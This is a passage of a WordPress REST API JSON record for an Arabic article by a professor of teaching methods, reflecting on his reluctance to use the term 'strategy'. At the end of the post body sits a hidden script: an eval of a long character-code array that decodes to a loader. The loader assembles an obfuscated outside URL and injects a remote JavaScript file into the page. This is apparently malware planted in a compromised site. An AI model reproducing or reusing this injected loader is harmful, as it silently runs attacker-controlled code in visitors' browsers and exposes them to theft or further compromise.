\u062a\u0639\u0644\u064a\u0642.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0627\u0644\u0644\u0647 \u0623\u0639\u0644\u0645.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0627.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a \u0639\u0628\u062f \u0627\u0644\u0644\u0627\u0647.\u00a0<\/span><\/p>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a \u0639\u0628\u062f \u0627\u0644\u0644\u0627\u0647| \u0623\u0633\u062a\u0627\u0630 \u0637\u0631\u0627\u0626\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a\u0629 \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u0638\u0644\u0644\u062a \u0641\u062a\u0631\u0629 \u0643\u0628\u064a\u0631\u0629 \u0645\u0646 \u0639\u0645\u0631\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0648\u0627\u0644\u0639\u0645\u0644\u064a \u0623\u062d\u0627\u0648\u0644 \u062a\u062c\u0646\u0628 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221;\u060c \u0648\u0630\u0644\u0643 \u0644\u0645\u0627 \u0643\u0627\u0646 \u064a\u0639\u062a\u0645\u0644 \u0641\u064a \u0646\u0641\u0633\u064a \u062a\u062c\u0627\u0647\u0647\u0627 \u0645\u0646 \u0645\u0634\u0627\u0639\u0631 \u0645\u062a\u0636\u0627\u0631\u0628\u0629 \u062a\u0624\u0631\u0642\u0647\u0627 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0628\u064a\u0646 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a\u060c \u062d\u062a\u0649 \u0625\u0630\u0627 \u062a\u0648\u0641\u064a \u0623\u0633\u062a\u0627\u0630 \u0639\u0632\u064a\u0632 \u0639\u0644\u064a\u0646\u0627\u060c \u0648\u0623\u0648\u0643\u0644 \u0625\u0644\u064a \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u062f\u0631\u064a\u0633 \u0645\u0642\u0631\u0631 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633&#8221; \u0645\u0643\u0627\u0646\u0647\u060c &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/47467"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47467"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/47467\/revisions"}],"predecessor-version":[{"id":47468,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/47467\/revisions\/47468"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47467"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47467"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}